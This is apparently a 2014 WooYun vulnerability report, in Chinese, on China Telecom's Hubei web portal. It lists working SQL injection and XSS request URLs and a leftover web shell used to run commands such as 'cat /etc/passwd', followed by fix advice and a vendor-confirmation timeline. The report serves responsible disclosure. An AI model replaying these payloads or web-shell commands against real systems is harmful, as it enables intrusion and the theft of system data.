漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-071779
漏洞标题：续中国电信SQL注入&XSS&命令执行
相关厂商：189.cn
漏洞作者： sm0nk
提交时间：2014-08-11 12:32
修复时间：2014-09-25 12:34
公开时间：2014-09-25 12:34
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-08-11： 细节已通知厂商并且等待厂商处理中
2014-08-16： 厂商已经确认，细节仅向厂商公开
2014-08-26： 细节向核心白帽子及相关领域专家公开
2014-09-05： 细节向普通白帽子公开
2014-09-15： 细节向实习白帽子公开
2014-09-25： 细节向公众公开
简要描述：
顺着弱口令继续开发研究，漏洞还有好多
详细说明：
1.刚才提交的是弱口令、目录遍历、物理路径泄漏
2.自己分析了URL及参数提交过程，漏洞不少得修复
3.SQL注入
注入点如下：
http://my.hb.189.cn:80/app/mobile/get_nums.php?card_type=0&city_code=10%20AND%203*2*1%3d6%20AND%20276%3d276&goods_name=GALAXY%20Note3%20SM-N9009&is_group=0&keywords=&num_id=&num_id_1=&num_id_2=&num_section=%E5%85%A8%E9%83%A8&page=1&per_num=24
http://my.hb.189.cn:80/app/mobile/get_nums.php?card_type=1'%22&city_code=10&goods_name=GALAXY%20Note3%20SM-N9009&is_group=0&keywords=&num_id=&num_id_1=&num_id_2=&num_section=%E5%85%A8%E9%83%A8&page=1&per_num=24
4. XSS
http://my.hb.189.cn:80/index.php?act=store&app=search&cate_id=&keyword=1&order=credit_value%2520desc_</script><script>prompt(/xss/)</script>®ion_id=1872&Submit=%e6%90%9c%e7%b4%a2&user_name=xdobxhvf
http://my.hb.189.cn:80/app/mobile/get_nums.php?card_type=0&city_code=10'%22()%26%25<ScRiPt%20>prompt(965963)</ScRiPt>&goods_name=GALAXY%20Note3%20SM-N9009&is_group=0&keywords=&num_id=&num_id_1=&num_id_2=&num_section=%E5%85%A8%E9%83%A8&page=1&per_num=24
http://my.hb.189.cn/index.php?act=qa&app=goods&id=10%22%20onmouseover%3dprompt(986678)%20bad%3d%22&page=1
第三个XSS在咨询留言处，需要鼠标滑过。
5.命令执行漏洞
http://my.hb.189.cn/tmpbigba.php?cmd=netstat%20-an
http://my.hb.189.cn/tmpbigba.php?cmd=id
http://my.hb.189.cn/tmpbigba.php?cmd=uname%20-a
http://my.hb.189.cn/tmpbigba.php?cmd=cat%20/etc/passwd
漏洞证明：
如详细描述
修复方案：
#注入
过滤掉/app/mobile/get_numbers.php 的
city_code keywords num_id num_id_1 num_section card_type page per_number 等参数特殊字符的输入以及URLpost提交的过滤。
#XSS
过滤掉index.php下面的order id ,以及注入的URL的。
反射性的XSS防不胜防，还有好多URL，请继续防护
#命令执行
1.权限不要太大
2.限制对cmdURL直接访问
3.daemon 在上线前安全检查的时候应该已经删除了默认帐号
版权声明：转载请注明来源 sm0nk@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：12
确认时间：2014-08-16 08:34
厂商回复：
最新状态：
2014-08-20：补充处置情况：CNVD确认并复现所述情况，已经转由CNCERT通报给中国电信集团公司处置。